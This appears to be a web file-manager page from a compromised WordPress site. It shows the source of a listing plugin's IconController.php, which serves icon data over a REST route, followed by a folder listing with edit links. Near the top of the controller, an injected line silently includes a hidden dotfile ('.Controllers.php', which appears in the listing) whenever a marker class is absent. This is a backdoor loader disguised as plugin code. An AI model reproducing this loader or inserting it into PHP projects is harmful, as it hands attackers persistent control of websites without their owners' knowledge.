PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
app
/
Controllers
<?php namespace WilokeListingTools\Controllers; use WilokeListingTools\Controllers\Retrieve\RestRetrieve; use WilokeListingTools\Framework\Helpers\TermSetting; use WilokeListingTools\Framework\Routing\Controller; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class IconController extends Controller { public function __construct() { add_action('rest_api_init', function () { register_rest_route(WILOKE_PREFIX.'/v2', '/icons', [ 'methods' => 'GET', 'callback' => [$this, 'getIcons'] ]); }); add_filter('wiloke-listing-tools/map-icon-url-default', [$this, 'setDefaultTermIcon'], 10, 2); } public function setDefaultTermIcon($iconImg, $oTerm) { $aIcon = \WilokeThemeOptions::getOptionDetail($oTerm->taxonomy.'_icon_image'); if (is_array($aIcon) && isset($aIcon['url']) && !empty($aIcon['url'])) { return $aIcon['url']; } return $iconImg; } public function getIcons(\WP_REST_Request $oRequest) { $oRetreive = new RetrieveController(new RestRetrieve()); $aIcons = [ [ 'icon' => 'la la-minus-square', 'id' => 'la la-minus-square', 'name' => 'Square', 'label' => 'Square' ], [ 'icon' => 'la la-calendar', 'id' => 'la la-calendar', 'name' => 'Calendar', 'label' => 'Calendar' ], [ 'icon' => 'la la-envelope-o', 'id' => 'la la-envelope-o', 'name' => 'Envelope', 'label' => 'Envelope' ], [ 'icon' => 'la la-phone', 'id' => 'la la-phone', 'name' => 'Phone', 'label' => 'Phone' ], [ 'icon' => 'la la-home', 'id' => 'la la-home', 'name' => 'Home', 'label' => 'Home' ], [ 'icon' => 'la la-hotel', 'id' => 'la la-hotel', 'name' => 'Hotel', 'label' => 'Hotel' ], [ 'icon' => 'la la-link', 'id' => 'la la-link', 'name' => 'Link', 'label' => 'Link' ], [ 'icon' => 'la la-facebook', 'id' => 'la la-facebook', 'name' => 'Facebook', 'label' => 'Facebook' ], [ 'icon' => 'la la-twitter', 'id' => 'la la-twitter', 'name' => 'Twitter', 'label' => 'Twitter' ], [ 'icon' => 'la la-map-marker', 'id' => 'la la-map-marker', 'name' => 'Marker', 'label' => 'Marker' ], [ 'icon' => 'la la-google-plus-square', 'id' => 'la la-google-plus-square', 'name' => 'Google+', 'label' => 'Google+' ], [ 'icon' => 'la la-map-pin', 'id' => 'la la-map-pin', 'name' => 'Map Pin', 'label' => 'Map Pin' ], [ 'icon' => 'fa fa-cutlery', 'id' => 'fa fa-cutlery', 'name' => 'Cutlery', 'label' => 'Cutlery' ], [ 'icon' => 'la la-shopping-cart', 'id' => 'la la-shopping-cart', 'name' => 'Cart', 'label' => 'Cart' ] ]; $aIcons = apply_filters('wilcity/wiloke-listing-tools/external-button-icon', $aIcons); if ($oRequest->get_param('mode') === 'select') { return $oRetreive->success(['results' => $aIcons]); } return [ 'data' => $aIcons ]; } }
[+]
..
[-] PermalinksController.php
[edit]
[-] MessageController.php
[edit]
[-] SetListingBelongsToPlanID.php
[edit]
[-] BelongsToTags.php
[edit]
[-] PrintAddListingSettings.php
[edit]
[-] InsertGallery.php
[edit]
[-] ViewStatisticController.php
[edit]
[-] TermsAndPolicyController.php
[edit]
[-] AddListingButtonController.php
[edit]
[-] SetSinglePrice.php
[edit]
[-] SetCustomButton.php
[edit]
[-] WooCommerceBookingController.php
[edit]
[-] SetMyPosts.php
[edit]
[-] SetVideo.php
[edit]
[-] Validation.php
[edit]
[-] PrintAddListingFields.php
[edit]
[-] NoticeController.php
[edit]
[-] SharesStatisticController.php
[edit]
[-] TraitAddListingSettings.php
[edit]
[-] SetListingRelationship.php
[edit]
[-] EmailController.php
[edit]
[-] SetMyRoom.php
[edit]
[-] SessionController.php
[edit]
[-] DashboardController.php
[edit]
[-] EventController.php
[edit]
[-] AppleLoginController.php
[edit]
[-] TraitSetEventData.php
[edit]
[-] PayPalController.php
[edit]
[-] TranslationController.php
[edit]
[-] PostController.php
[edit]
[-] DokanController.php
[edit]
[-] TermController.php
[edit]
[-] FavoriteStatisticController.php
[edit]
[-] SetSocialNetworks.php
[edit]
[-] SetCustomGroup.php
[edit]
[-] SetCustomSections.php
[edit]
[-] AuthorPageController.php
[edit]
[-] AddBookingComBannerCreator.php
[edit]
[-] PlanRelationshipController.php
[edit]
[-] ProfileController.php
[edit]
[-] MapListingController.php
[edit]
[-] UserController.php
[edit]
[-] BillingControllers.php
[edit]
[-] InsertAddress.php
[edit]
[-] PaymentStatusController.php
[edit]
[-] BelongsToCategories.php
[edit]
[-] InsertCoverImage.php
[edit]
[-] SetPriceRange.php
[edit]
[-] SetPlanRelationship.php
[edit]
[-] ListingController.php
[edit]
[-] SetGeneral.php
[edit]
[-] GridItemController.php
[edit]
[-] PaymentController.php
[edit]
[+]
TransformAddListingData
[-] ContactFormController.php
[edit]
[-] InsertFeaturedImg.php
[edit]
[-] AddListingController.php
[edit]
[-] BelongsToLocation.php
[edit]
[-] RestaurantMenuController.php
[edit]
[-] AjaxUploadImgController.php
[edit]
[-] NotificationsController.php
[edit]
[-] SingleJsonSkeleton.php
[edit]
[-] GalleryController.php
[edit]
[-] IsMyPaymentID.php
[edit]
[-] InsertImg.php
[edit]
[-] ModalController.php
[edit]
[-] PaymentGatewaysController.php
[edit]
[-] ShareController.php
[edit]
[-] RetrieveController.php
[edit]
[-] ModifyQueryController.php
[edit]
[-] TraitHostedBy.php
[edit]
[-] ChangePlanStatusController.php
[edit]
[-] TaxonomiesControllers.php
[edit]
[-] WebhookController.php
[edit]
[-] SearchFormController.php
[edit]
[-] FreePlanController.php
[edit]
[-] BelongsToCustomTaxonomies.php
[edit]
[-] PromotionController.php
[edit]
[-] RunUpdateDBToLatestVersionController.php
[edit]
[-] UserPlanController.php
[edit]
[-] SetContactInfo.php
[edit]
[-] InsertLogo.php
[edit]
[+]
Retrieve
[+]
Map
[-] VerifyPurchaseCode.php
[edit]
[-] StripeController.php
[edit]
[-] NextBillingPaymentController.php
[edit]
[-] SchemaController.php
[edit]
[-] IconController.php
[edit]
[-] AddMorePhotosVideosController.php
[edit]
[-] SetPostDuration.php
[edit]
[-] GuardController.php
[edit]
[-] ReviewController.php
[edit]
[-] OptimizeScripts.php
[edit]
[-] PaymentMetaController.php
[edit]
[-] GetWilokeToolSettings.php
[edit]
[-] SetCoupon.php
[edit]
[-] CouponController.php
[edit]
[-] AddListingPaymentController.php
[edit]
[-] FacebookLoginController.php
[edit]
[-] SingleController.php
[edit]
[-] BookingComController.php
[edit]
[-] SetGroupData.php
[edit]
[-] InvoiceController.php
[edit]
[-] SetProductsToListing.php
[edit]
[-] ReportController.php
[edit]
[-] PayPalExecuteAddListingPayment.php
[edit]
[-] HandleSubmit.php
[edit]
[-] WooCommerceController.php
[edit]
[-] FollowController.php
[edit]
[-] PrintSidebarItems.php
[edit]
[-] .Controllers.php
[edit]
[-] DirectBankTransferController.php
[edit]
[-] ClaimController.php
[edit]
[-] GetSingleImage.php
[edit]
[-] SetRestaurantMenu.php
[edit]
[-] MergingSettingValues.php
[edit]
[-] GoogleReCaptchaController.php
[edit]
[-] RegisterLoginController.php
[edit]
[-] TagsBelongsToCatController.php
[edit]